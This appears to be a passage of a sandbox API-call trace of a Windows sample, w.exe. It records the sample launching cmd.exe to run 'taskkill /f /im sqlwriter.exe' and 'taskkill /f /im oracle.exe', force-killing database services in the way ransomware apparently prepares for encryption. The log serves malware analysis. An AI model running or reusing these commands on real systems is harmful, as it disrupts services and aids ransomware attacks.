	[0034.836] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0034.836] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0034.836] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0034.836] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0034.836] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0034.836] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x210) returned 0x433210
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x48) returned 0x433428
	[0034.837] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x418) returned 0x4207f0
	[0034.837] SetErrorMode (uMode=0x0) returned 0x8003
	[0034.837] SetErrorMode (uMode=0x1) returned 0x0
	[0034.837] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4207f8, lpFilePart=0x2dedf8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2dedf8*="Desktop") returned 0x25
	[0034.837] SetErrorMode (uMode=0x8003) returned 0x1
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4207f0, Size=0x66) returned 0x4207f0
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x4207f0) returned 0x66
	[0034.837] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.837] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0034.837] GetProcessHeap () returned 0x420000
	[0034.837] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x120) returned 0x433478
	[0034.838] GetProcessHeap () returned 0x420000
	[0034.838] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x238) returned 0x420860
	[0034.839] GetProcessHeap () returned 0x420000
	[0034.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x420860, Size=0x122) returned 0x420860
	[0034.839] GetProcessHeap () returned 0x420000
	[0034.839] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x420860) returned 0x122
	[0034.839] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.839] GetProcessHeap () returned 0x420000
	[0034.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xe0) returned 0x420990
	[0034.840] GetProcessHeap () returned 0x420000
	[0034.840] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x420990, Size=0x76) returned 0x420990
	[0034.840] GetProcessHeap () returned 0x420000
	[0034.840] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x420990) returned 0x76
	[0034.840] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.840] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2deb74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2deb74) returned 0xffffffff
	[0034.840] GetLastError () returned 0x2
	[0034.840] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x2deb74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2deb74) returned 0xffffffff
	[0034.840] GetLastError () returned 0x2
	[0034.840] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.840] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2deb74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2deb74) returned 0x420a10
	[0034.840] GetProcessHeap () returned 0x420000
	[0034.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x4335a0
	[0034.840] FindClose (in: hFindFile=0x420a10 | out: hFindFile=0x420a10) returned 1
	[0034.840] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x2deb74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2deb74) returned 0xffffffff
	[0034.841] GetLastError () returned 0x2
	[0034.841] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x2deb74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2deb74) returned 0x420a10
	[0034.841] GetProcessHeap () returned 0x420000
	[0034.841] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4335a0, Size=0x4) returned 0x4335a0
	[0034.841] FindClose (in: hFindFile=0x420a10 | out: hFindFile=0x420a10) returned 1
	[0034.841] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0034.841] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0034.841] GetConsoleTitleW (in: lpConsoleTitle=0x2df06c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.841] InitializeProcThreadAttributeList (in: lpAttributeList=0x2deef4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2defbc | out: lpAttributeList=0x2deef4, lpSize=0x2defbc) returned 1
	[0034.841] UpdateProcThreadAttribute (in: lpAttributeList=0x2deef4, dwFlags=0x0, Attribute=0x60001, lpValue=0x2defb4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2deef4, lpPreviousValue=0x0) returned 1
	[0034.841] GetStartupInfoW (in: lpStartupInfo=0x2deeb0 | out: lpStartupInfo=0x2deeb0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0034.841] GetProcessHeap () returned 0x420000
	[0034.841] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x18) returned 0x420a10
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0034.841] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.842] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.842] GetProcessHeap () returned 0x420000
	[0034.842] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x420a10 | out: hHeap=0x420000) returned 1
	[0034.842] GetProcessHeap () returned 0x420000
	[0034.843] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xa) returned 0x42fee8
	[0034.843] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0034.844] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqlwriter.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2def50*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqlwriter.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2def9c | out: lpCommandLine="taskkill  /f /im sqlwriter.exe ", lpProcessInformation=0x2def9c*(hProcess=0x78, hThread=0x74, dwProcessId=0xbc8, dwThreadId=0xbcc)) returned 1
	[0034.849] CloseHandle (hObject=0x74) returned 1
	[0034.849] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0034.849] GetProcessHeap () returned 0x420000
	[0034.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435ed8 | out: hHeap=0x420000) returned 1
	[0034.849] GetEnvironmentStringsW () returned 0x444a50*
	[0034.849] GetProcessHeap () returned 0x420000
	[0034.849] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xb36) returned 0x434098
	[0034.849] FreeEnvironmentStringsW (penv=0x444a50) returned 1
	[0034.849] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0035.197] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2dee90 | out: lpExitCode=0x2dee90*=0x80) returned 1
	[0035.197] CloseHandle (hObject=0x78) returned 1
	[0035.197] _vsnwprintf (in: _Buffer=0x2defd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x2dee9c | out: _Buffer="00000080") returned 8
	[0035.197] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0035.197] GetProcessHeap () returned 0x420000
	[0035.197] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434098 | out: hHeap=0x420000) returned 1
	[0035.197] GetEnvironmentStringsW () returned 0x434098*
	[0035.197] GetProcessHeap () returned 0x420000
	[0035.197] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xb5c) returned 0x435ed8
	[0035.197] FreeEnvironmentStringsW (penv=0x434098) returned 1
	[0035.197] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0035.197] GetProcessHeap () returned 0x420000
	[0035.197] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435ed8 | out: hHeap=0x420000) returned 1
	[0035.197] GetEnvironmentStringsW () returned 0x434098*
	[0035.198] GetProcessHeap () returned 0x420000
	[0035.198] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xb5c) returned 0x435ed8
	[0035.198] FreeEnvironmentStringsW (penv=0x434098) returned 1
	[0035.198] GetProcessHeap () returned 0x420000
	[0035.198] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x42fee8 | out: hHeap=0x420000) returned 1
	[0035.198] DeleteProcThreadAttributeList (in: lpAttributeList=0x2deef4 | out: lpAttributeList=0x2deef4) 
	[0035.198] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0035.198] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0035.199] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0035.199] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a4941ac | out: lpMode=0x4a4941ac) returned 0
	[0035.200] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0035.200] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a4941b0 | out: lpMode=0x4a4941b0) returned 0
	[0035.200] GetConsoleOutputCP () returned 0x1b5
	[0035.200] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a494260 | out: lpCPInfo=0x4a494260) returned 1
	[0035.200] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.200] exit (_Code=128) 

Process:
	id = "13"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4ca49000"
	os_pid = "0xbc8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xbc0"
	cmd_line = "taskkill  /f /im sqlwriter.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 124
	os_tid = 0xbcc


Thread:
	id = 125
	os_tid = 0xbd0


Thread:
	id = 126
	os_tid = 0xbd4


Thread:
	id = 127
	os_tid = 0xbd8


Thread:
	id = 128
	os_tid = 0xbdc


Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4aec6000"
	os_pid = "0xbe4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im oracle.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 129
	os_tid = 0xbe8

	[0035.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x34fa94 | out: lpSystemTimeAsFileTime=0x34fa94*(dwLowDateTime=0xfab12920, dwHighDateTime=0x1d52dc4)) 
	[0035.272] GetCurrentProcessId () returned 0xbe4
	[0035.273] GetCurrentThreadId () returned 0xbe8
	[0035.273] GetTickCount () returned 0x19165
	[0035.273] QueryPerformanceCounter (in: lpPerformanceCount=0x34fa8c | out: lpPerformanceCount=0x34fa8c*=15558258902) returned 1
	[0035.274] GetModuleHandleA (lpModuleName=0x0) returned 0x4a3c0000
	[0035.274] __set_app_type (_Type=0x1) 
	[0035.274] __p__fmode () returned 0x74eb31f4
	[0035.274] __p__commode () returned 0x74eb31fc
	[0035.274] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3e21a6) returned 0x0
	[0035.274] __getmainargs (in: _Argc=0x4a3e4238, _Argv=0x4a3e4240, _Env=0x4a3e423c, _DoWildCard=0, _StartInfo=0x4a3e4140 | out: _Argc=0x4a3e4238, _Argv=0x4a3e4240, _Env=0x4a3e423c) returned 0
	[0035.274] GetCurrentThreadId () returned 0xbe8
	[0035.274] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbe8) returned 0x60
	[0035.274] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.274] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0035.275] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.275] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0035.275] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x34fa24 | out: phkResult=0x34fa24*=0x0) returned 0x2
	[0035.275] VirtualQuery (in: lpAddress=0x34fa5b, lpBuffer=0x34f9f4, dwLength=0x1c | out: lpBuffer=0x34f9f4*(BaseAddress=0x34f000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.275] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x34f9f4, dwLength=0x1c | out: lpBuffer=0x34f9f4*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0035.275] VirtualQuery (in: lpAddress=0x251000, lpBuffer=0x34f9f4, dwLength=0x1c | out: lpBuffer=0x34f9f4*(BaseAddress=0x251000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0035.275] VirtualQuery (in: lpAddress=0x253000, lpBuffer=0x34f9f4, dwLength=0x1c | out: lpBuffer=0x34f9f4*(BaseAddress=0x253000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.275] VirtualQuery (in: lpAddress=0x350000, lpBuffer=0x34f9f4, dwLength=0x1c | out: lpBuffer=0x34f9f4*(BaseAddress=0x350000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x150000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0035.275] GetConsoleOutputCP () returned 0x1b5
	[0035.275] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3e4260 | out: lpCPInfo=0x4a3e4260) returned 1
	[0035.275] SetConsoleCtrlHandler (HandlerRoutine=0x4a3de72a, Add=1) returned 1
	[0035.276] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0035.276] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0035.276] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0035.276] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a3e41ac | out: lpMode=0x4a3e41ac) returned 0
	[0035.276] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0035.276] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a3e41b0 | out: lpMode=0x4a3e41b0) returned 0
	[0035.276] GetEnvironmentStringsW () returned 0x682008*
	[0035.276] GetProcessHeap () returned 0x670000
	[0035.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xaca) returned 0x682ae0
	[0035.276] FreeEnvironmentStringsW (penv=0x682008) returned 1
	[0035.276] GetProcessHeap () returned 0x670000
	[0035.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4) returned 0x680c40
	[0035.276] GetEnvironmentStringsW () returned 0x682008*
	[0035.277] GetProcessHeap () returned 0x670000
	[0035.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xaca) returned 0x6835b8
	[0035.277] FreeEnvironmentStringsW (penv=0x682008) returned 1
	[0035.277] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34e994 | out: phkResult=0x34e994*=0x68) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x0, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x1, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x1, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x0, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x40, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x40, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x40, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.277] RegCloseKey (hKey=0x68) returned 0x0
	[0035.277] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34e994 | out: phkResult=0x34e994*=0x68) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x40, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x1, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.277] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x1, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.278] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x0, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.278] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x9, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.278] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x4, lpData=0x34e9a0*=0x9, lpcbData=0x34e998*=0x4) returned 0x0
	[0035.278] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34e99c, lpData=0x34e9a0, lpcbData=0x34e998*=0x1000 | out: lpType=0x34e99c*=0x0, lpData=0x34e9a0*=0x9, lpcbData=0x34e998*=0x1000) returned 0x2
	[0035.278] RegCloseKey (hKey=0x68) returned 0x0
	[0035.278] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302c
	[0035.278] srand (_Seed=0x5d16302c) 
	[0035.278] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im oracle.exe \""
	[0035.278] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im oracle.exe \""
	[0035.278] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.278] GetProcessHeap () returned 0x670000
	[0035.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x210) returned 0x682008
	[0035.278] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x682010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0035.278] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.278] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
